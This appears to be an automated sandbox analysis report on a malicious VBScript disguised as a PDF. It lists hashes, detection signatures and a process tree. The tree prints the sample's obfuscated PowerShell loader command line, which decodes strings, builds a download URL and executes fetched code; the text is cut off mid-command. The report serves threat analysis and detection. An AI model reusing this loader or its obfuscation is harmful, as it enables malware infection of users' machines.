Edit tour
Windows
Analysis Report
U00b7pdf.vbs
Overview
General Information
| Sample name: | U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | () 24 (240415)pdf.vbs |
| Analysis ID: | 1425936 |
| MD5: | 6e74f3450b6a5719b9e71f6ea32295ce |
| SHA1: | 790344f4225b4a5e904f3e06de6aac6fa9fe58d5 |
| SHA256: | 6c0c6d699be7442dcd1e34507ac5f9103fcf2a220b032e2e7159805c820a0483 |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Potential dropper URLs found in powershell memory
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 3948 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\U00b7 pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6500 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Storvesi rerne = 1; $Theologiz ing='Subst rin';$Theo logizing+= 'g';Functi on Rekordj agt($Sperm osphere){$ Tryghedsna rkomanerne =$Spermosp here.Lengt h-$Storves irerne;For ($Ichthyoc entaur=7; $Ichthyoce ntaur -lt $Tryghedsn arkomanern e; $Ichthy ocentaur+= (8)){$Cott iers+=$Spe rmosphere. $Theologiz ing.Invoke ($Ichthyoc entaur, $S torvesirer ne);}$Cott iers;}func tion Denta gra176($ni ttenaarsfd selsdag){. ($Sys tematist) ($nittenaa rsfdselsda g);}$Skriv e=Rekordja gt 'Sammen MRb igtto MantramzMi ce laiRefo rmbl chatt elDiplom a Tilsend/Sk unk r5bomr ker. Stri. i0Revalua Ukrist(Sta tuslWInadj usiAco otl nknitweadF orure ofja ntenwButto nhsBrugsbe UnimpaiNW ienersTE.i taxi obriq u1Bstern 0 Kyriali.Un d,rda0Aero dyn; ,ulin g PaedonyW SpectriAl lergenQuad ric6 Ekste m4Apodeme; Picker Fe mrernx Ell ekr6exies o4Fo,film; .rontag Sp aan ar Dis enavvvesf, o:Circumf1 Tryllek2Un compr1Unim ma,.volemi t0Rygskst) Poriapr Un gka lG Edd erkeUngain lcRes ectk UnlyricoSe xolog/ovnh use2 econc e0 hummer1 Sirupsh0No tidan0Mari nae1Andeng r0Erkyndi1 Trkvogn Di amantFNonh armiLicen irUncoloue OleatesfNo numbro Gla sblxKasse t/ hromat1 Copalin2Sa tanis1 Der iva. Skmte v0Hegemon ';$Rubys=R ekordjagt ' StylteUP rosecusOrg aniseFade, urr Fjogsf -TyristoAS lufssygAn. ideceident itnShowtim tPeri on ' ;$Cargolin er=Rekordj agt 'Ast,r oih Rep ck tSlickertW indroapNon j.rasBoe,n eh:Pra inc /Estampi/M auveagdura nophrmalat esistvners v C ckileT elefon.Trb aadegTornb laoNonregu o ShoalhgB rtsejllkon t.nte Volt es.Retstil cVatteriou ncathomBaa dud,/Paavi stuInhaler cbane.ak?F rontene Br ,dsaxinvoc atpv gttaa oDk skoprL ubricat po rtef=Omtal erdSkolery obrevvekwD ubiousnEnc astel vali toGipsdepa UnderlodCe ntime& Und efei,adios tdCon,oci= R.kkest1Ba ls mmmMo.d ilymKataki n5Ar,edtau ValentiFAm usivea,ore lsndphl.be nkSaloond5 StatiketKu skeneXB,st telj Voveh aiVitalisZ bewidoweCa rnosiYOver a eXAld,rm ajLhduninW Epa.ortHDa ar,kaHAnkl gjF Venti li ,vaporX kanapeFUn mantlf Ma, ked-Karav nB vertisH Ado tivV N onadvBS ul jaz_Quotat i ';$Const abless=Rek ordjagt ' Acture> Im mate ';$Sy stematist= Rekordjagt 'Timbresi slavebaeBe gonerxSjof eli ';$Ank yloproctia 106 = Reko rdjagt ' H ,ricoe Fra nk cOmtale nhBeerbibo Freedst Le wist,%Over typaQ,adri sp synonyp StraffdSe renada Rav lstTorped oa,rachio% H.plit\We ekendIUske tbarEpican tr h erpre ElectopEl ephanl Kon venaBod ve lcAkklimae GoumieraCi rcumsbEuro p mlSelen gegraablen ForsikreUd stra s .ur syls h dru m.FacetteS OverratuBa stedecEuch ,or Solav k&Col.ack& A,gangs Go itereAnstt emcCoazerv hSeniorso Proven Con tigu$Apper ce ';Denta gra176 (Re